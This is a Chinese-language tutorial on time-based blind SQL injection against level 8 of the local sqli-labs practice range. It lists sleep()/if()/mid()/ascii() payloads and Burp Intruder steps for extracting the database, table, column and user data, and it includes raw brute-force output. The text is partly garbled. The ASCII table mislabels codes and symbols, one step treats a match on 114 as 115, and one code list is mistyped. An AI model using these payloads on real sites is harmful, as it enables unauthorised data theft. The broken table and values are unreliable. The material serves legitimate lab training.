SQL盲注:基于时间延迟注入
靶场环境搭建
所需软件
Phpstudy2016,sql注入靶场文件 Phpstduy 官网下载地址:https://www.xp.cn/ sql注入靶场下载地址:https://github.com/Audi-1/sqli-labs
下载安装 phpstudy,下载sql注入靶场文件压缩包,
解压文件靶场环境文件,放到 phpstudy 文件目录下的 WWW 文件夹下,
然后运行 phpstudy
然后访问,http://localhost/,或者 http://127.0.0.1
点击 Setup/reset Database for labs 选项安装靶场数据库等文件
出现这个就说明安装完成
返回访问 http://127.0.0.1 主页就行
对照 ascii 表
控制字符 | ASCII 值 | 控制字符 | ASCII 值 | 控制字符 | ASCII 值 | 控制字符 |
---|---|---|---|---|---|---|
NUT | 32 | (space) | 64 | @ | 96 | 、 |
SOH | 33 | ! | 65 | A | 97 | a |
STX | 34 | “ | 66 | B | 98 | b |
ETX | 35 | # | 67 | C | 99 | c |
EOT | 36 | $ | 68 | D | 100 | d |
ENQ | 37 | % | 69 | E | 101 | e |
ACK | 38 | & | 70 | F | 102 | f |
BEL | 39 | , | 71 | G | 103 | g |
BS | 40 | ( | 72 | H | 104 | h |
HT | 41 | ) | 73 | I | 105 | i |
LF | 42 | * | 74 | J | 106 | j |
VT | 43 |
| 75 | K | 107 | k |
FF | 44 | , | 76 | L | 108 | l |
CR | 45 | - | 77 | M | 109 | m |
SO | 46 | . | 78 | N | 110 | n |
SI | 47 | / | 79 | O | 111 | o |
DLE | 48 | 0 | 80 | P | 112 | p |
DCI | 49 | 1 | 81 | Q | 113 | q |
DC2 | 50 | 2 | 82 | R | 114 | r |
DC3 | 51 | 3 | 83 | S | 115 | s |
DC4 | 52 | 4 | 84 | T | 116 | t |
NAK | 53 | 5 | 85 | U | 117 | u |
SYN | 54 | 6 | 86 | V | 118 | v |
TB | 55 | 7 | 87 | W | 119 | w |
CAN | 56 | 8 | 88 | X | 120 | x |
EM | 57 | 9 | 89 | Y | 121 | y |
SUB | 58 | : | 90 | Z | 122 | z |
ESC | 59 | ; | 91 | [ | 123 | { |
FS | 60 | < | 92 | / | 124 | | |
GS | 61 | = | 93 | ] | 125 | } |
RS | 62 | > | 94 | ^ | 126 | ` |
US | 63 | ? | 95 | _ | 127 | DEL |
本次 sql 延时注入选择的是第八关(图中所示)。
SQL 注入工具采用的基本都为盲注及其它注入。这里以 Mysql 盲注为示例: 何为延时注入?
所谓延时注入主要针对页面无变化,无法用布尔真假判断,无法报错的情况下注入。
这里需要用上 Mysql 的 4 个函数:sleep()、if()、mid()、ord();
- sleep() //延时
- if(条件,True,False) //判断语句
- mid(str,1,1) 截取 //指定字符串截取,截取字符开始长度-结束长度
- ascii //转换为 ascii 编码
猜库名
这里先猜解一下 database()当前数据库名字,
构造语句
‘ and if(ascii(mid(database(),1,1)) =1,sleep(5),1) –
该语法意思是,mid 函数方法截取 database()当前库库名第一个字符,判断第一个字符是否为 1,
- 对应的是 ascii 字符,如果第一个字符=其中的一个 ascii 字符,那么就延时 5 秒,如果不等于则延时 1 秒,我们这里可以用快捷方法,直接上 burpsuite 爆破即可访问该地址,然后抓包
http://127.0.0.1/Less-8/?id=1’ and if(ascii(mid(database(),1,1)) =1,sleep(5),1) –
右 键
选择 Send to intrude 发送到爆破猜解模块中
发送完成后,我们选择爆破这俩个参数
接下来选择 payload 模块
第一个参数选择这个快捷模块 Numbers
第二个模块亦是如此,不过这里填写的是所有 ascii 字符对应的十进制位数
1-127
填写完成后点击右边的 Start attack 按钮 ,开始爆破
爆破出来得到 database()库名,对应的 ascii 字符我们来拼接一下
1-115 ,2-101,3-99,4-117,5-114,6-105,7-116,8-121 对应 ascii 表最终得到库名为 security
http://127.0.0.1/Less-8/?id=1’ and if(ascii(mid(database(),1,1)) =1,sleep(5),1) –
判断表名长度
构造语句
’ and if(length(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4,1,sleep(5)) –
存在延时,说明表名长度不等于 4.。
’ and if(length(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6,1,sleep(5)) –
存在延时,说明表名长度是 6。
猜表名
构造语句
http://127.0.0.1/Less-8/index.php?id=1' and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113,sleep(10),1);–
符合条件说明,第一个ascii大于113
http://127.0.0.1/Less-8/index.php?id=1' and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>115,sleep(10),1);–
不符合条件,第一个ascii不大于115
http://127.0.0.1/Less-8/index.php?id=1' and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,sleep(10),1);–
符合条件,说明第一个ascii码=115
这样写太麻烦,还得一个一个猜解,这里我们直接上burpsuite爆破猜解访问poc抓包
http://127.0.0.1/Less-8/index.php?id=1’and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=113,sleep(10),1);–
然后还像爆破猜解库名一样猜解表名
选 择 这 俩 个 参 数
然后导入字典开始爆破
最终得到表名对应的 ascii 码
1114,101,102,101,114,101,114,115
最终得到表名为 referers
如果觉得麻烦也可以同时猜解三个表名
117 97 103 101 110 116 115 uagents
再对应 ascii 码表查看一下就可以得到所有表名了。
猜列名
只需要将select语句里的
table_name 改为 column_name 以及 information_schemation.tables 改为 information_schemation.columns
就可以了。
我们来猜解一下列名
构造语句
http://127.0.0.1/Less-8/index.php?id=1'and if(ascii(mid((select column_name from information_ schema.columns where table_schema=database() limit 1,1),1,1))>113,sleep(10),1); –
猜字段内容
构造语句
‘ and if(ascii(mid((select username from security.users order by id limit
0,1),2,1))=117,sleep(10),1);–
直接上 burp 爆破
同时爆破列名每一位对应的 ascii 码。
对应 ascii 码得到 email_id
爆破 users 表
爆破出来的结果
代码语言:javascript复制0 200 false false 926
25601 1 1 65 200 false false 926 1
38541 1 8 97 200 false false 926 1
40061 1 4 101 200 false false 926 1
40841 1 3 103 200 false false 926 1
41701 1 6 105 200 false false 926 1
42881 1 5 108 200 false false 926 1
43621 1 2 110 200 false false 926 1
43721 1 7 110 200 false false 926 1
20110 10 6 51 200 false false 926 1
38410 10 1 97 200 false false 926 1
39630 10 2 100 200 false false 926 1
41670 10 4 105 200 false false 926 1
43250 10 3 109 200 false false 926 1
43690 10 5 110 200 false false 926 1
38511 11 6 97 200 false false 926 1
38451 11 3 97 200 false false 926 1
39611 11 1 100 200 false false 926 1
41231 11 2 104 200 false false 926 1
20512 12 6 52 200 false false 926 1
39632 12 2 100 200 false false 926 1
41672 12 4 105 200 false false 926 1
43252 12 3 109 200 false false 926 1
43262 2 4 109 200 false false 926 1
46422 | 2 | 2 | 117 200 false false 926 1 |
---|---|---|---|
48082 | 2 | 5 | 121 200 false false 926 1 |
40103 | 3 | 6 | 101 200 false false 926 1 |
45603 | 3 | 1 | 115 200 false false 926 1 |
46463 | 3 | 4 | 117 200 false false 926 1 |
41684 | 4 | 5 | 105 200 false false 926 1 |
45604 | 4 | 1 | 115 200 false false 926 1 |
46024 | 4 | 2 | 116 200 false false 926 1 |
46444 | 4 | 3 | 117 200 false false 926 1 |
38525 | 5 | 7 | 97 200 false false 926 1 |
43305 | 5 | 6 | 109 200 false false 926 1 |
45605 | 5 | 1 | 115 200 false false 926 1 |
46425 | 5 | 2 | 117 200 false false 926 1 |
38426 | 6 | 2 | 97 200 false false 926 1 |
38486 | 6 | 5 | 97 200 false false 926 1 |
43266 | 6 | 4 | 109 200 false false 926 1 |
43706 | 6 | 6 | 110 200 false false 926 1 |
39627 | 7 | 2 | 100 200 false false 926 1 |
41667 | 7 | 4 | 105 200 false false 926 1 |
43687 | 7 | 5 | 110 200 false false 926 1 |
39628 | 8 | 2 | 100 200 false false 926 1 |
43248 | 8 | 3 | 109 200 false false 926 1 |
43688 | 8 | 5 | 110 200 false false 926 1 |
38409 | 9 | 1 | 97 200 false false 926 1 |
39629 | 9 | 2 | 100 200 false false 926 1 |
41669 | 9 | 4 105 200 false false 926 1 | |
43249 | 9 | 3 109 200 false false 926 1 | |
43689 | 9 | 5 110 200 false false 926 1 |
对应 ascii 码可以得到具体的内容信息。